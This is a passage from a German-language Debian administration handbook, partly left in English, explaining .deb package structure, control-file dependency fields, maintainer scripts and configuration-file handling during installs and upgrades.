Dieses Kapitel beschreibt die Struktur und den Inhalt von „Binär“- und „Quell“-Paketen. Erstere sind Dateien, die direkt mit dem Befehl dpkg benutzt werden können, während letztere den Programm-Quellcode sowie Anweisungen zum Bau von Binärpaketen enthalten.

5.1. Struktur eines Binärpakets

Das Debian-Paketformat ist so gestaltet, dass sein Inhalt auf jedem Unixsystem entpackt werden kann, das über die klassischen Befehle ar, tar und xz oder manchmal auch gzip oder bzip2 verfügt. Diese eigentlich triviale Anforderung ist wichtig für die Portierbarkeit und Wiederherstellung in Notfall.

Nehmen Sie zum Beispiel an, dass Sie aus Versehen das Programm dpkg gelöscht haben und dass Sie daher keine Debian-Pakete mehr installieren können. Da dpkg selbst ein Debian-Paket ist, sieht es so aus, als ob ihr System erledigt sei... Zum Glück kennen Sie das Format eines Pakets und können daher die .deb-Datei des dpkg-Pakets herunterladen und es manuell installieren (siehe Seitenleiste HILFSPROGRAMME dpkg, APT und ar). Wenn durch ein Missgeschick eines oder mehrere der Programme ar, tar oder gzip/xz/bzip2 verschwunden sind, brauchen Sie nur das fehlende Programm von einem anderen System zu kopieren (da jedes von ihnen auf vollständig autonome Weise ohne Abhängigkeiten arbeitet, reicht einfaches Kopieren). Wenn Ihr System ein noch schlimmeres Schicksal erlitten hat und auch diese nicht funktionieren (vielleicht fehlen die tiefsten Systembibliotheken?), sollten Sie die statische Version von busybox ausprobieren (bereitgestellt im Paket busybox-static), die noch eigenständiger ist und Unterbefehle wie busybox ar, busybox tar und busybox xz bietet.

Im Falle eines Unglücks sollten Sie auch eine Sicherung Ihres Systems haben (siehe Abschnitt 9.10, „Datensicherung“).

HILFSPROGRAMME dpkg, APT und ar

dpkg ist das Programm, das mit .deb-Dateien (Binärpakete) umgeht, sie insbesondere extrahiert, analysiert und entpackt.

APT (die Abkürzung für "Advanced Packaging Tool") ist eine Gruppe von Programmen, die es ermöglichen, Veränderungen auf höherer Ebene des Systems durchzuführen: ein Paket zu installieren oder zu entfernen (und dabei Abhängigkeiten erfüllt zu halten), das System zu aktualisieren, verfügbare Pakete aufzulisten, usw.

As for the ar program, provided by the binutils package, it allows handling files of the same name:

ar t archive displays the list of files contained in such an archive,

ar x archive extracts the files from the archive into the current working directory,

ar d archive file deletes a file from the archive, etc.

Its man page ar(1) documents all its other features. ar is a very rudimentary tool that a Unix administrator would only use on rare occasions, but admins routinely use tar, a more evolved archive and file management program. This is why it is easy to restore dpkg in the event of an erroneous deletion. You would only have to download the Debian package and extract the content from the data.tar.xz archive in the system's root (/):

# ar x dpkg_1.20.9_amd64.deb # tar -C / -p -xJf data.tar.xz

ZURÜCK ZU DEN GRUNDLAGEN Ausdrucksweise in den Handbuchseiten

Für Anfänger kann es verwirrend sein, in der Literatur Verweise auf „ar(1)“ zu finden. Dies ist gemeinhin eine bequeme Art, auf die Handbuchseite namens ar in Abschnitt 1 zu verweisen.

Manchmal wird diese Ausdrucksweise auch verwendet, um Mehrdeutigkeiten zu beseitigen, um zum Beispiel zwischen dem Befehl printf, der in printf(1) beschrieben ist, und der Funktion printf in der Programmiersprache C, auf die sich printf(3) bezieht, zu unterscheiden.

Kapitel 7, Probleme lösen und relevante Informationen finden erläutert Handbuchseiten ausführlicher (siehe Abschnitt 7.1.1, „Handbuchseiten“).

Werfen Sie einen Blick auf den Inhalt einer .deb-Datei:

$ ar t dpkg_1.20.9_amd64.deb debian-binary control.tar.gz data.tar.xz $ ar x dpkg_1.20.9_amd64.deb $ ls control.tar.gz data.tar.xz debian-binary dpkg_1.20.9_amd64.deb $ tar tJf data.tar.xz | head -n 16 ./ ./etc/ ./etc/alternatives/ ./etc/alternatives/README ./etc/cron.daily/ ./etc/cron.daily/dpkg ./etc/dpkg/ ./etc/dpkg/dpkg.cfg ./etc/dpkg/dpkg.cfg.d/ ./etc/logrotate.d/ ./etc/logrotate.d/alternatives ./etc/logrotate.d/dpkg ./sbin/ ./sbin/start-stop-daemon ./usr/ ./usr/bin/ $ tar tJf control.tar.xz ./ ./conffiles ./control ./md5sums ./postrm $ cat debian-binary 2.0

Wie Sie sehen, besteht das ar-Archiv eines Debian-Pakets aus drei Dateien:

debian-binary

This is a text file which simply indicates the version of the .deb file package format version. In Debian Bullseye it is still version 2.0.

control.tar.xz

Diese Archivdatei enthält alle verfügbaren Metainformationen, wie den Namen und die Version des Pakets sowie einige Skripte, die vor, während oder nach der (Un-)Installation ausgeführt werden sollen. Einige der Metainformationen ermöglichen es Paketverwaltungstools, zu bestimmen, ob es möglich ist, sie zu installieren oder zu deinstallieren, z. B. gemäß der Liste der Pakete, die sich bereits auf dem Computer befinden und ob die gelieferten Dateien lokal geändert wurden.

data.tar.xz, data.tar.bz2, data.tar.gz

Dieses Archiv enthält alle Dateien, die aus dem Paket extrahiert werden sollen; hier werden die ausführbaren Dateien, Bibliotheken, Dokumentationen, usw. gespeichert. Pakete können verschiedene Komprimierungsformate verwenden, in diesem Fall wird die Datei für xz, bzip2 oder gzip unterschiedlich benannt.

5.2. Paket-Meta-Information

The Debian package is not only an archive of files intended for installation. It is part of a larger whole and describes its relationship with other Debian packages (requisites, dependencies, conflicts, suggestions). It also provides scripts that enable the execution of commands at different stages in the package's lifecycle (installation, upgrade, removal). These data are used by the package management tools, but are not part of the packaged software; they are, within the package, what is called its “meta-information” - information about other information.

5.2.1. Beschreibung: Die control-Datei

Diese Datei verwendet eine ähnliche Struktur wie E-Mail-Header (wie in RFC 2822 definiert) und ist in der Debian-Richtlinie und den Handbuchseiten deb-control(5) vollständig beschrieben und deb822(5).

→ https://www.debian.org/doc/debian-policy/ch-controlfields.html

So sieht zum Beispiel für apt die control-Datei folgendermaßen aus:

$ apt-cache show apt Package: apt Version: 2.2.4 Installed-Size: 4337 Maintainer: APT Development Team <deity@lists.debian.org> Architecture: amd64 Replaces: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~) Provides: apt-transport-https (= 2.2.4) Depends: adduser, gpgv | gpgv2 | gpgv1, libapt-pkg6.0 (>= 2.2.4), debian-archive-keyring, libc6 (>= 2.15), libgcc-s1 (>= 3.0), libgnutls30 (>= 3.7.0), libseccomp2 (>= 2.4.2), libstdc++6 (>= 9), libsystemd0 Recommends: ca-certificates Suggests: apt-doc, aptitude | synaptic | wajig, dpkg-dev (>= 1.17.2), gnupg | gnupg2 | gnupg1, powermgmt-base Breaks: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~), aptitude (<< 0.8.10) Description-en: commandline package manager This package provides commandline tools for searching and managing as well as querying information about packages as a low-level access to all features of the libapt-pkg library. . These include: * apt-get for retrieval of packages and information about them from authenticated sources and for installation, upgrade and removal of packages together with their dependencies * apt-cache for querying available information about installed as well as installable packages * apt-cdrom to use removable media as a source for packages * apt-config as an interface to the configuration settings * apt-key as an interface to manage authentication keys Description-md5: 9fb97a88cb7383934ef963352b53b4a7 Tag: admin::package-management, devel::lang:ruby, hardware::storage, hardware::storage:cd, implemented-in::c++, implemented-in::perl, implemented-in::ruby, interface::commandline, network::client, protocol::ftp, protocol::http, protocol::ipv6, role::program, scope::application, scope::utility, suite::debian, use::downloading, use::organizing, use::playing, use::searching, works-with-format::html, works-with::audio, works-with::software:package, works-with::text Section: admin Priority: required Filename: pool/main/a/apt/apt_2.2.4_amd64.deb Size: 1491328 MD5sum: 24d53e8dd75095640a167f40476c0442 SHA256: 75f07c4965ff0813f26623a1164e162538f5e94defba6961347527ed71bc4f3d

Let us have a closer look at the purpose of some of the fields listed by the previous command.

ZURÜCK ZU DEN GRUNDLAGEN RFC — Internet-Standards

RFC ist die Abkürzung für „Request For Comments“ (Bitte um Kommentare). Ein RFC ist üblicherweise ein technisches Dokument, das einen zukünftigen Internet-Standard beschreibt. Bevor sie standardisiert und für Veränderungen gesperrt werden, werden diese Standards einer öffentlichen Überprüfung unterworfen (daher der Name). Die IETF (Internet Engineering Task Force) entscheidet über die Statusentwicklung dieser Dokumente (vorgeschlagener Standard, Standardentwurf oder Standard).

RFC 2026 definiert den Prozess der Standardisierung von Internet-Protokollen.

→ http://www.faqs.org/rfcs/rfc2026.html

5.2.1.1. Abhängigkeiten: dieDepends-Zeile

The dependencies are defined in the Depends field in the package header. It is a list of conditions to be met for the package to work correctly. This information is used by tools such as apt in order to install the required libraries, tools, drivers, etc., in appropriate versions fulfilling the dependencies of the package to be installed. For each dependency it is possible to restrict the range of versions that meet that condition. In other words, it is possible to express the fact that we need the package libc6 in a version equal to or greater than “2.15” (written “libc6 (>= 2.15)”). Version comparison operators are as follows:

<<: kleiner als;

<=: kleiner als oder gleich;

=: gleich (man beachte, „2.6.1“ ist nicht gleich „2.6.1-1“);

>=: größer als oder gleich;

>>: größer als.

In a list of conditions to be met, the comma serves as a separator. It must be interpreted as a logical “and”. In conditions, the vertical bar (“|”) expresses a logical “or” (it is an inclusive “or”, not an exclusive “either/or”). Carrying greater priority than “and”, it can be used as many times as necessary. Thus, the dependency “(A or B) and C” is written A | B, C. In contrast, the expression “A or (B and C)” should be written as “(A or B) and (A or C)”, since the Depends field does not tolerate parentheses that change the order of priorities between the logical operators “or” and “and”. It would thus be written A | B, A | C.

→ https://www.debian.org/doc/debian-policy/ch-relationships.html#syntax-of-relationship-fields

The dependencies system is a good mechanism for guaranteeing the operation of a program, but it has another use with “meta-packages”. These are empty packages that only describe dependencies. They facilitate the installation of a consistent group of programs pre-selected by the meta-package maintainer; as such, apt install meta-package will automatically install all of these programs using the meta-package's dependencies. The gnome, kde-full and linux-image-amd64 packages are examples of meta-packages.

DEBIAN-RICHTLINIEN Recommends-, Suggests- und Enhances-Zeilen

Die Recommends- und Suggests-Zeilen bezeichnen Abhängigkeiten, die nicht vorgeschrieben sind. Die „empfohlenen“ (recommended) Abhängigkeiten sind wichtig und verbessern die Funktionen des Pakets wesentlich, sind für seinen Einsatz aber nicht unabdingbar. Die „vorgeschlagenen“ (suggested) Abhängigkeiten sind weniger wichtig und deuten darauf hin, dass bestimmte Pakete die Funktionalität ergänzen oder verbessern können; es ist jedoch völlig zulässig, es ohne diese zu installieren.

You should always install the “recommended” packages, unless you know exactly why you do not need them. This is now also the default for APT unless configured otherwise. Conversely, it is not necessary to install “suggested” packages unless you know why you need them (the package description or its documentation may contain information which extra functionality they will activate). The behavior of apt can be controlled by using the APT::Install-Recommends and APT::Install-Suggests configuration options or the corresponding command line options --[no-]install-recommends and --[no-]install-suggests.

Die Enhances-Zeilen beschreibt auch eine Empfehlung, aber in einem anderen Zusammenhang. Und zwar befindet sie sich in dem vorgeschlagenen Paket, nicht in dem Paket, dem der Vorschlag zugute kommt. Sie ist deshalb interessant, weil man auf diese Weise eine Empfehlung hinzufügen kann, ohne das betroffene Paket zu verändern. So können alle Add-ons, Plug-ins und sonstigen Erweiterungen in der Liste der Empfehlungen für ein Programm erscheinen. Obwohl es sie bereits seit mehreren Jahren gibt, werden diese Zeilen noch weitgehend von Programmen wie apt oder synaptic ignoriert. Ihr Zweck besteht darin, dem Nutzer einen von der Enhances-Zeile gemachten Vorschlag zusätzlich zu den herkömmlichen Vorschlägen - in der Suggests-Zeile - anzuzeigen.

DEBIAN-RICHTLINIEN Pre-Depends, ein anspruchsvolleres Depends

„Vorabhängigkeiten“, die in der „Pre-Depends“-Zeilen des Paketkopfes aufgeführt sind, vervollständigen die normalen Abhängigkeiten; ihre Syntax ist identisch. Eine normale Abhängigkeit bedeutet, dass das betreffende Paket vor dem Paket, das die Abhängigkeit dokumentiert, entpackt und konfiguriert werden muss. Eine Vorabhängigkeit schreibt vor, dass das betreffende Paket entpackt und konfiguriert werden muss, bevor das Skript zur Auflösung der "normalemn" Abhängigkeiten des Paketes, das die Vorabhängigkeit definiert, ausgeführt wird, also vor dessen Installation.

A pre-dependency is very demanding for apt, because it adds a strict constraint on the ordering of the packages to install. As such, pre-dependencies are discouraged unless absolutely necessary. It is even recommended to consult other developers on <debian-devel@lists.debian.org> before adding a pre-dependency. It is generally possible to find another solution as a workaround.

5.2.1.2. Konflikte: die Conflicts-Zeilen

Die Conflicts-Zeilen zeigen an, dass ein Paket nicht gleichzeitig mit einem anderen installiert sein kann. Die häufigsten Gründe hierfür sind, dass beide Pakete eine Datei gleichen Namens und Pfads enthalten, dass sie den gleichen Dienst am selben TCP-Port anbieten oder dass sie sich gegenseitig im Betrieb behindern würden.

dpkg wird sich weigern, ein Paket zu installieren, falls es einen Konflikt mit einem bereits installierten Paket auslöst, es sei denn das neue Paket gibt an, dass es die installierten Pakete „ersetzen“ wird. In diesem Fall wird sich dpkg dafür entscheiden, das alte Paket durch das neue zu ersetzen. apt folgt immer Ihren Anweisungen: wenn Sie es vorziehen ein neues Paket zu installieren, wird es automatisch anbieten das Paket, das ein Problem darstellt, zu deinstallieren.

5.2.1.3. Inkompatibilitäten: die Breaks-Zeilen

Die Breaks-Zeilen haben einen ähnlichen Effekt wie die Conflicts-Zeilen, jedoch mit einer besonderen Bedeutung. Sie deutet darauf hin, dass die Installation eines Paketes ein anderes Paket (oder bestimmte Versionen davon) „brechen“ wird. Normalerweise ist die Inkompatibilität zwischen zwei Paketen vorübergehend, und die Breaks-Beziehung bezieht sich auf die inkompatiblen Versionen.

dpkg wird sich weigern, ein Paket zu installieren das ein bereits installiertes Paket beschädigen würde, und apt wird versuchen das Problem dadurch zu lösen, dass es das Paket das beschädigt würde auf eine neuere Version zu aktualisieren (von der angenommen wird, dass sie korrigiert und damit wieder kompatibel ist).

Diese Situation kann bei Aktualisierungen ohne rückwärtige Kompatibilität auftreten: dies ist der Fall, wenn eine neue Version nicht mehr zusammen mit der älteren Version funktioniert und eine Fehlfunktion in einem anderen Programm verursacht ohne dass dafür besondere Vorkehrungen getroffen worden sind. Die Breaks-Zeilen verhindern, dass der Nutzer in diese Schwierigkeiten gerät.

5.2.1.4. Bereitgestellte Elemente: die Provides-Zeilen

Diese Zeile führt das sehr interessante Konzept eines „virtuellen Pakets“ ein. Sie hat viele Aufgaben, aber zwei sind von besonderer Bedeutung. Die erste Aufgabe besteht darin, ein virtuelles Paket dazu zu benutzen, ihm einen allgemeinen Dienst zuzuordnen (das Paket „stellt“ den Dienst „bereit“). Die zweite zeigt an, dass ein Paket ein anderes vollständig ersetzt, und dass es daher auch die Abhängigkeiten erfüllen kann, die das andere erfüllen würde. Auf diese Weise kann ein Ersatzpaket erstellt werden, ohne denselben Paketnamen verwenden zu müssen.

WÖRTERVERZEICHNIS Meta-Pakete und virtuelle Pakete

Es ist unerlässlich, zwischen Meta-Paketen und virtuellen Paketen zu unterscheiden. Erstere sind wirkliche Pakete (einschließlich wirklicher .deb-Dateien), deren einziger Zweck darin besteht, Abhängigkeiten aufzuzeigen.

Dagegen existieren virtuelle Pakete nicht wirklich; sie dienen lediglich dazu, wirkliche Pakete auf der Basis gemeinsamer, logischer Kriterien (des bereitgestellten Dienstes, der Kompatibilität mit einem Standardprogramm oder einem schon vorher bestehenden Paket usw.) zu identifizieren.

5.2.1.4.1. Einen „Dienst“ bereitstellen

Lassen Sie uns den ersten Fall anhand eines Beispiels ausführlicher erörtern: alle Mailserver, wie postfix oder sendmail, „stellen“ angeblich das virtuelle Paket mail-transport-agent „bereit“. Daher erklärt jedes Paket, das diesen Service benötigt, um funktionsfähig zu sein (z. B. Mailinglisten-Manager wie smartlist oder sympa), in seinen Abhängigkeiten einfach, dass es einen mail-transport-agent benötigt, anstatt eine lange, jedoch unvollständige Liste möglicher Lösungen aufzustellen (z. B. postfix | sendmail | exim4 | …). Außerdem wäre es sinnlos, zwei Mailserver auf demselben Rechner zu installieren, weshalb jedes dieser Pakete einen Konflikt mit dem virtuellen Paket mail-transport-agent angibt. Der Konflikt eines Pakets mit sich selbst wird vom System ignoriert, jedoch verhindert dieses Verfahren, dass zwei Mailserver nebeneinander installiert werden.

DEBIAN-RICHTLINIEN Liste virtueller Pakete

Damit virtuelle Pakete verwndet werden können, müssen alle sich über ihre Namen einig sein. Daher sind diese in den Debian-Richtlinien standardisiert. Die Liste enthält unter anderem mail-transport-agent für Mailserver, c-compiler für Kompilierer der Programmiersprache C, www-browser für Webbrowser, httpd für Webserver, ftp-server für FTP-Server, x-terminal-emulator für Terminal-Emulatoren im Grafikmodus (xterm) sowie x-window-manager für Fenstermanager.

The full list can be found on the Web.

→ https://www.debian.org/doc/packaging-manuals/virtual-package-names-list.yaml

5.2.1.4.2. Austauschbarkeit mit einem anderen Paket

The Provides field is also interesting when the content of a package is included in a larger package. For example, the libdigest-md5-perl Perl module was an optional module in Perl 5.6, and has been integrated as standard in Perl 5.8 (and later versions, such as 5.32.1 present in Bullseye). As such, the package perl has since version 5.8 declared Provides: libdigest-md5-perl so that the dependencies on this package are met if the user has Perl 5.8 (or newer). The libdigest-md5-perl package itself has eventually been deleted, since it no longer had any purpose when old Perl versions were removed.

Abbildung 5.1. Verwendung einer Provides-Zeile zur Vermeidung des Brechens von Abhängigkeiten

Dieses Merkmal ist sehr nützlich, da es nie möglich ist, die Wechselfälle der Entwicklung vorherzusehen, und es erforderlich ist, sich auf die Umbenennung oder einen anderen automatischen Ersatz einer veralteten Software einzustellen.

ZURÜCK ZU DEN GRUNDLAGEN Perl, eine Programmiersprache

Perl (Practical Extraction and Report Language) ist eine sehr populäre Programmiersprache. Sie hat zahlreiche gebrauchsfertige Module, die ein weites Spektrum von Anwendungen abdecken und die durch die Server des CPAN (Comprehensive Perl Archive Network) verteilt werden, ein vollständiges Netzwerk von Perl-Paketen.

→ https://www.perl.org/

→ https://www.cpan.org/

Da es eine interpretierte Sprache ist, brauchen in Perl geschriebene Programme vor ihrer Ausführung nicht kompiliert zu werden. Daher werden sie „Perl-Skripte“ genannt.

5.2.1.4.3. Bisherige Einschränkungen

Virtual packages used to suffer from some limitations, the most significant of which was the absence of a version number. To return to the previous example, a dependency such as Depends: libdigest-md5-perl (>= 1.6), despite the presence of Perl 5.10, would have never been considered as satisfied by the packaging system — while in fact it most likely was satisfied. Unaware of this, the package system chose the least risky option, assuming that the versions do not match.

This limitation has been lifted in dpkg 1.17.11, and is no longer relevant. Packages, like perl 5.32.1, can assign a version to the virtual packages they provide, such as Provides: libdigest-md5-perl (= 2.55.01), and thus allow other packages to use versioned dependencies.

5.2.1.5. Dateien ersetzen: Die Replaces-Zeile

The Replaces field indicates that the package contains files that are also present in another package, but that the package is legitimately entitled to replace them. Without this specification, dpkg fails to install the package, stating that it cannot overwrite the files of another package (technically, it is possible to force it to do so with the --force-overwrite option, but that is not considered standard operation). This allows identification of potential problems and requires the maintainer to study the matter prior to choosing whether to add such a field.

Die Verwendung dieser Zeile ist gerechtfertigt, wenn sich Paketnamen ändern oder wenn ein Paket in einem anderen enthalten ist. Dies kommt auch vor, wenn der Betreuer sich entschließt, Dateien in unterschiedlicher Weise auf mehrere Binärpakete zu verteilen, die vom selben Quellpaket erstellt werden: eine ersetzte Datei ist nicht mehr Teil des alten Pakets, sondern nur noch des neuen.

Sobald alle Dateien eines installierten Pakets ersetzt wurden, gilt das Paket als entfernt. Ausserdem veranlasst dieses Feld dpkg, das ersetzte Paket zu entfernen, wenn ein Konflikt auftritt.

WEITERE SCHRITTE Die Tag-Zeile

In the apt example at the beginning, we can see the presence of a field that we have not yet described, the Tag field. This field does not describe a relationship between packages, but is simply a way of categorizing a package in a thematic taxonomy. This classification of packages according to several criteria (type of interface, programming language, domain of application, etc.) has been available for a long time. Despite this, not all packages have accurate tags and it is not yet integrated in all Debian tools; aptitude displays these tags, and allows them to be used as search criteria. For those who dislike aptitude's search criteria, the following website allows navigation of the tag database:

→ https://wiki.debian.org/Debtags

5.2.2. Konfigurationsskripte

In addition to the control file, the control.tar.gz archive for each Debian package may contain a number of scripts, called by dpkg at different stages in the processing of a package. The Debian Policy describes the possible cases in detail, specifying the scripts called and the arguments that they receive. These sequences may be complicated, since if one of the scripts fails, dpkg will try to return to a satisfactory state by canceling the installation or removal in progress (insofar as it is possible).

→ https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html

WEITERE SCHRITTE dpkg-Datenbank

Alle Konfigurationsskripte für installierte Pakete sind im Verzeichnis /var/lib/dpkg/info/ in Form einer Datei gespeichert, der der Dateiname des Pakets vorangestellt ist. In diesem Verzeichnis befindet sich für jedes Paket auch eine Datei mit der Erweiterung .list, die eine Liste der zu dem jeweiligen Paket gehörenden Dateien enthält.

Die Datei /var/lib/dpkg/status enthält eine Reihe von Datenblöcken (im Format der bekannten Mail-Kopfzeilen, RFC 2822), die den Status jedes Pakets beschreiben. Die Information aus der control-Datei der installierten Pakete ist hier ebenfalls wiedergegeben.

Im Allgemeinen wird das Skript preinst vor der Installation eines Pakets ausgeführt, postinst danach. In gleicher Weise wird prerm vor dem Entfernen eines Pakets aufgerufen und postrm danach. Die Aktualisierung eines Pakets ist gleichbedeutend mit dem Entfernen der vorhergehenden Version und einer Installation der neuen. Alle möglichen Szenarien können hier nicht ausführlich beschrieben werden, aber wir werden die zwei häufigsten erörtern: eine Installation/Aktualisierung und ein Entfernen.

VORSICHT Symbolische Skriptnamen

Die in diesem Abschnitt beschriebenen Schritte bezeichnen Konfigurationsskripte mit spezifischen Namen wie old-prerm oder new-postinst. Dies sind zum einen das in der alten Version des Pakets enthaltene Skript prerm (das vor der Aktualisierung installiert worden war) und zum anderen das in der neuen Version enthaltene Skript postinst (das durch die Aktualisierung installiert wird).

TIP Zustandsdiagramme

Manoj Srivastava und Margarita Manterola erstellten die folgenden Diagramme, in denen erläutert wurde, wie die Konfigurationsskripte von dpkg aufgerufen werden.

→ https://people.debian.org/~srivasta/MaintainerScripts.html

→ https://www.debian.org/doc/debian-policy/ap-flowcharts.html

5.2.2.1. Installation und Aktualisierung

During the initial installation and for each upgrade of a package, dpkg calls the so called maintainer scripts such as the prerm or preinst scripts. These scripts can perform additional actions during the different stages of a package's life-cycle. Script names preceded by new- are the scripts from the new version of a package being installed or upgraded to. Script names preceded by old- are the scripts from the old version of a package that is being upgraded from.

During each invocation dpkg will pass certain arguments to each script such as upgrade new-version. The invoked script can then either handle the arguments and perform a particular action, or ignore the arguments and return with an exit code of 0, if nothing needs to be done during that step. In practice many packages will not need to perform an action during every step in the life cycle. Thus a typical configuration script will check for a particular argument and ignore all other ones, implicitly returning with exit code 0.

Here is what happens during an installation (or an update). The old-version, new-version and last-version-configured arguments are placeholders for the actual (old and new) version numbers of the package:

For an update, dpkg calls the old-prerm script and passes upgrade new-version as arguments.

Still for an update, dpkg then executes the new-preinst script with the arguments upgrade old-version; for the initial installation, it executes the new-preinst script and passes install as argument. It may add the old version in the last parameter, if the package has already been installed and removed since (but not purged, and thus configuration files have been retained).

Die neuen Paketdateien werden dann entpackt. Falls eine Datei bereits vorhanden ist, wird sie ersetzt, wobei aber vorübergehend eine Sicherheitskopie erstellt wird.

For an update, dpkg executes the old-postrm script and passes upgrade new-version as arguments.

dpkg aktualisiert alle internen Daten (Dateiliste, Konfigurationsskripte usw.) und entfernt die Sicherheitskopien der ersetzten Dateien. Dies ist der Punkt, an dem es kein Zurück mehr gibt: dpkg hat keinen Zugang zu all den Elementen mehr, die für eine Rückkehr zum vorherigen Zustand erforderlich wären.

dpkg aktualisiert dann die Konfigurationsdateien, wobei es den Nutzer auffordert, Entscheidungen zu treffen, falls es diese Aufgabe nicht selbsttätig erledigen kann. Die Einzelheiten dieses Vorgangs sind in Abschnitt 5.2.3, „Checksums, List of Configuration Files, et al.“ erläutert.

Finally, dpkg configures the package by executing the new-postinst script with the arguments configure last-version-configured.

5.2.2.2. Paketentfernung

The steps to remove a package are analogous to the installation steps. The main difference is that the removal scripts of the package are called:

dpkg calls the prerm script and passes the remove argument.

dpkg removes all of the package's files, with the exception of the configuration files and maintainer scripts.

dpkg executes the postrm script and passes remove as argument. Afterwards, all of the maintainer scripts, except the postrm script, are removed. If the user has not used the “purge” option, the process stops here.

For a complete purge of the package (command issued with dpkg --purge or dpkg -P), the configuration files are also deleted, as well as a certain number of copies (*.dpkg-tmp, *.dpkg-old, *.dpkg-new) and temporary files; dpkg then executes the postrm script and passes purge as argument.

WÖRTERVERZEICHNIS „Purge“, vollständig Entfernen

Wenn ein Debian-Paket entfernt wird, bleiben die Konfigurationsdateien erhalten, um eine mögliche Re-Installation zu erleichtern. In gleicher Weise bleiben die von einem Hintergrundprogramm erzeugten Daten (wie der Inhalt eines LDAP-Server-Verzeichnisses oder der Inhalt einer SQL-Server-Datenbank) normalerweise erhalten.

Um alle mit einem Paket in Verbindung stehenden Daten zu entfernen, muss das Paket mit dem Befehl dpkg -P paket, apt-get remove --purge paket oder aptitude purge paket gelöscht werden.

Angesichts der Unwiderruflichkeit einer derartigen Datenlöschung sollte „purge“ nicht unbedacht verwendet werden.

Die vier oben beschriebenen Skripte werden durch ein config-Skript ergänzt, das von Paketen bereitgestellt wird, die debconf verwenden, um vom Nutzer Informationen für die Konfigurierung zu bekommen. Während der Installation bestimmt dieses Skript im Einzelnen die Fragen, die von debconf gestellt werden. Die Antworten werden zur späteren Verwendung in der debconf-Datenbank aufgezeichnet. Das Skript wird von apt normalerweise ausgeführt, bevor es ein Paket nach dem anderen installiert, um so alle Fragen zu gliedern und sie dem Nutzer vollständig zu Beginn des Vorgangs zu stellen. Die Vor- und Nachinstallationsskripte können dann diese Information verwenden, um den Wünschen des Nutzers entsprechend zu agieren.

HILFSPROGRAMM debconf

debconf wurde entwickelt, um ein in Debian immer wiederkehrendes Problem zu lösen. Debian-Pakete, die zumindest ein Minimum an Konfiguration benötigen, benutzten die Befehle echo und read in postinst (und anderen ähnlichen Shell-Skripten), um die Antworten abzufragen. Dies bedeutete jedoch, dass der Nutzer während einer umfangreichen Installation oder Aktualisierung beim Rechner bleiben musste, um diverse Fragen, die sich jederzeit ergeben konnten, zu beantworten. Auf dieses manuelle Zusammenwirken kann inzwischen dank debconf fast vollständig verzichtet werden.

debconf hat zahlreiche interessante Merkmale: es verlangt vom Entwickler, die Interaktionen mit dem Anwender festzulegen; es erlaubt die Lokalisierung aller angezeigten Texte (alle Übersetzungen der Interaktionsbezeichnungen sind in der Template-Datei gespeichert); es verfügt über verschiedene Frontends zur Interaktion mit dem Anwender (Textmodus, Grafikmodus, nicht interaktiv); und es ermöglicht die Erstellung einer zentralen Datenbank von Antworten, um so dieselbe Konfiguration mit verschiedenen Rechnern zu teilen... aber das Wichtigste ist, dass es jetzt möglich ist, dem Nutzer vor Beginn einer langen Installation oder Aktualisierung alle Fragen in einem Block zu stellen. Der Nutzer kann dann andere Aufgaben erledigen, während das System die Installation selbstständig erledigt, und er braucht nicht mehr vor Ort zu bleiben und in Erwartung möglicher Fragen auf den Bildschirm zu starren.

5.2.3. Checksums, List of Configuration Files, et al.

In addition to the maintainer scripts and control data already mentioned in the previous sections, the control.tar.gz archive of a Debian package may contain other interesting files.

The first, md5sums, contains the MD5 checksums for all of the package's files. Its main advantage is that it allows dpkg --verify (which we will study in Abschnitt 14.3.4.1, „Pakete mit logcheck prüfen“) and debsums (from the package of the same name; see Abschnitt 14.3.4.2, „Pakete auditieren: debsums und seine Grenzen“) to check if these files have been modified since their installation. Note that when this file doesn't exist, which might be the case for some older packages, dpkg will generate it dynamically at installation time (and store it in the dpkg database just like other control files).

The file conffiles lists package files that must be handled as configuration files (see also deb-conffiles(5)). Configuration files can be modified by the administrator, and dpkg will try to preserve those changes during a package update.

Im Ergebnis verhält sich dpkg in dieser Situation möglichst intelligent: falls die Standard-Konfigurationsdatei zwischen zwei Versionen nicht verändert worden ist, tut es gar nichts. Falls die Datei jedoch verändert wurde, wird es versuchen, sie zu aktualisieren. Zwei Fälle sind möglich: entweder hat der Administrator diese Konfigurationsdatei nicht angerührt, dann installiert dpkg automatisch die neue Version; oder die Datei ist verändert worden, dann fragt dpkg den Administrator, welche Version er verwenden möchte (die alte mit den Veränderungen oder die neue, die mit dem Paket bereitgestellt wird). Um diese Entscheidung zu erleichtern, bietet dpkg an, ein „diff“ anzuzeigen, das die Unterschiede zwischen den beiden Versionen aufführt. Falls der Nutzer sich entscheidet, die alte Version zu behalten, wird die neue am selben Ort in einer Datei mit dem Zusatz .dpkg-dist abgespeichert. Wenn der Anwender die neue Version auswählt, wird die alte in einer Datei mit dem Suffix .dpkg-old suffix gespeichert. Eine weitere mögliche Maßnahme besteht darin, dpkg vorübergehend anzuhalten und dann die Datei zu editieren, und dabei zu versuchen, die relevanten Veränderungen (die zuvor durch diff identifiziert worden sind) wieder einzusetzen.

WEITERE SCHRITTE Zwinge dpkg, Fragen zur Konfigurationsdatei zu stellen

Die Option --force-confask zwingt dpkg dazu, die Fragen zu den Konfigurationsdateien selbst dann zu stellen, wenn sie nicht notwendig wären. Deshalb wird dpkg bei der Re-Installation eines Pakets mit dieser Option erneut die Fragen aus allen Konfigurationsdateien stellen, die vom Administrator verändert oder gelöscht worden sind. Dies ist vor allem sehr praktisch für das erneute Installieren der ursprünglichen Konfigurationsdatei, falls sie gelöscht worden ist oder keine andere Kopie verfügbar ist: eine normale Re-Installation würde nicht funktionieren, weil dpkg das Entfernen als eine zulässige Form der Veränderung ansieht und daher die gewünschte Konfigurationsdatei nicht installiert.

See the sidebar WEITERE SCHRITTE Die Fragen zur Konfigurationsdatei vermeiden for how to use these options with APT.

WEITERE SCHRITTE Die Fragen zur Konfigurationsdatei vermeiden

